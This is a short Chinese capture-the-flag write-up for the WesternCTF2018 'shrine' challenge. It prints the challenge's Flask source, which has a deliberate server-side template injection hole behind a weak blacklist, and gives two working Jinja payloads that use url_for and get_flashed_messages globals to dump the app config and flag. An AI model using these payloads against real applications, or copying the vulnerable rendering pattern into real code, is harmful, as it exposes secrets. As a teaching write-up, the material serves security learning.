[WesternCTF2018]shrine 1
首先打开题目得到:
是python的flash框架
得到源码:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s): s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__': app.run(debug=True)
看源码app.config[‘FLAG’] = os.environ.pop(‘FLAG’)
推测{undefined{config}}可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
不过python还有一些内置函数,比如url_for和get_flashed_messages
一、url_for
current_app意思应该是当前app,那我们就当前app下的config:
playload:
{{url_for.__globals__['current_app'].config}}
二、get_flashed_message
与上面相同:
playload:
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
参考博客:
https://blog.csdn.net/qq_42812036/article/details/104324923